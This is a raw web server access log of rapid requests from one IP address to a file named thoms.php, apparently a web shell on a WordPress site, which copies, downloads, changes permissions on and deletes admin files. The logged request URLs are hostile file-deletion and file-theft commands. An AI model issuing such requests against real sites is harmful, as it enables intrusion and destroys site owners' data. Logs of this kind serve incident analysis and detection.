45.135.193.11 - - [11/Sep/2026:23:21:25 -0400] "GET /thoms.php?p=big-wife.com.tw%2Ftext-kernel&settings=1 HTTP/1.1" 200 11940 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Ftext-kernel&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:25 -0400] "GET /big-wife.com.tw/text-kernel/profile.php HTTP/1.1" 503 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:25 -0400] "GET /thoms.php?p=big-wife.com.tw%2Ftext-kernel&view=license.txt HTTP/1.1" 200 11921 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Ftext-kernel&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:25 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Ftext-kernel%2Flicense.txt&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11366 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Ftext-kernel%2Flicense.txt&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:25 -0400] "GET /thoms.php?dl=license.txt&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 13590 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:25 -0400] "GET /thoms.php?dl=profile.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 13608 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:25 -0400] "GET /big-wife.com.tw/text-kernel/admin.php HTTP/1.1" 200 987 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:25 -0400] "GET /thoms.php?del=admin.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 13614 "http://163.245.207.76:443/thoms.php?del=admin.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:26 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-activate.php&p=big-wife.com.tw%2F.well-known HTTP/1.1" 200 11395 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-activate.php&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:26 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-activate.php&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 200 11353 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-activate.php&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:26 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-activate.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-activate.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:26 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-activate.php&finish=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-activate.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:26 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-activate.php&p= HTTP/1.1" 200 12288 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-activate.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:26 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 18947 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-activate.php&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:26 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-activate.php&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 200 11448 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-activate.php&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:26 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-activate.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11857 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-activate.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:26 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-activate.php&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 11352 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-activate.php&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:26 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-activate.php&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 11357 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-activate.php&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:26 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-activate.php&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 11366 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-activate.php&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:26 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-activate.php&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-activate.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:26 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 18925 "https://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-activate.php&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:26 -0400] "GET /thoms.php?dl=load-styles.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?dl=load-styles.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:26 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=privacy-policy-guide.php HTTP/1.1" 200 13550 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=privacy-policy-guide.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:26 -0400] "GET /thoms.php?dl=options-permalink.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28858 "http://163.245.207.76:443/thoms.php?dl=options-permalink.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:27 -0400] "GET /big-wife.com.tw/wp-admin/privacy-policy-guide.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:27 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fprofile.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fprofile.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:27 -0400] "GET /thoms.php?dl=privacy-policy-guide.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?dl=privacy-policy-guide.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:27 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=update-core.php HTTP/1.1" 200 25670 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=update-core.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:27 -0400] "GET /thoms.php?chmod=edit-form-advanced.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=edit-form-advanced.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:27 -0400] "GET /thoms.php?chmod=link-add.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=link-add.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:27 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=options-discussion.php HTTP/1.1" 200 17190 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=options-discussion.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:27 -0400] "GET /thoms.php?chmod=theme-editor.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=theme-editor.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:27 -0400] "GET /thoms.php?del=users.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28862 "http://163.245.207.76:443/thoms.php?del=users.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:27 -0400] "GET /thoms.php?chmod=admin-ajax.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=admin-ajax.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:27 -0400] "GET /thoms.php?dl=about.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28858 "http://163.245.207.76:443/thoms.php?dl=about.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:28 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fwidgets-form-blocks.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11439 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fwidgets-form-blocks.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:28 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=custom-background.php HTTP/1.1" 200 12149 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=custom-background.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:28 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Ffont-library.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Ffont-library.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:28 -0400] "GET /thoms.php?del=ms-users.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28894 "http://163.245.207.76:443/thoms.php?del=ms-users.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:28 -0400] "GET /thoms.php?del=widgets.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?del=widgets.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:28 -0400] "GET /thoms.php?dl=freedoms.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?dl=freedoms.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:28 -0400] "GET /big-wife.com.tw/wp-admin/media-upload.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:28 -0400] "GET /thoms.php?del=link-manager.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?del=link-manager.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:28 -0400] "GET /thoms.php?chmod=options-permalink.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=options-permalink.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:28 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fnetwork&p= HTTP/1.1" 200 12287 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fnetwork&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:28 -0400] "GET /big-wife.com.tw/wp-admin/admin-post.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:29 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=menu.php HTTP/1.1" 200 17600 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:29 -0400] "GET /thoms.php?dl=edit-comments.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?dl=edit-comments.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:29 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fms-options.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fms-options.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:29 -0400] "GET /thoms.php?del=options-discussion.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28858 "http://163.245.207.76:443/thoms.php?del=options-discussion.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:29 -0400] "GET /big-wife.com.tw/wp-admin/media.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:29 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=erase-personal-data.php HTTP/1.1" 200 15022 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=erase-personal-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:29 -0400] "GET /thoms.php?dl=font-library.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?dl=font-library.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:29 -0400] "GET /big-wife.com.tw/wp-admin/edit-form-comment.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:29 -0400] "GET /big-wife.com.tw/wp-admin/contribute.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:29 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=ms-sites.php HTTP/1.1" 200 12026 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=ms-sites.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:29 -0400] "GET /thoms.php?del=erase-personal-data.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?del=erase-personal-data.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:29 -0400] "GET /thoms.php?dl=post-new.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28861 "http://163.245.207.76:443/thoms.php?dl=post-new.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:30 -0400] "GET /thoms.php?chmod=admin-functions.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=admin-functions.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:30 -0400] "GET /thoms.php?del=comment.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28852 "http://163.245.207.76:443/thoms.php?del=comment.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:30 -0400] "GET /thoms.php?chmod=link.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=link.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:30 -0400] "GET /thoms.php?dl=media-new.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28862 "http://163.245.207.76:443/thoms.php?dl=media-new.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:30 -0400] "GET /thoms.php?del=menu-header.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?del=menu-header.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:30 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fplugin-install.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fplugin-install.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:30 -0400] "GET /thoms.php?chmod=plugin-editor.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=plugin-editor.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:30 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fcontribute.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fcontribute.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:30 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=about.php HTTP/1.1" 200 17559 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=about.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:30 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=edit-form-blocks.php HTTP/1.1" 200 17985 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=edit-form-blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:30 -0400] "GET /thoms.php?del=async-upload.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?del=async-upload.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:31 -0400] "GET /thoms.php?chmod=export-personal-data.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=export-personal-data.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:31 -0400] "GET /thoms.php?dl=menu.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?dl=menu.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
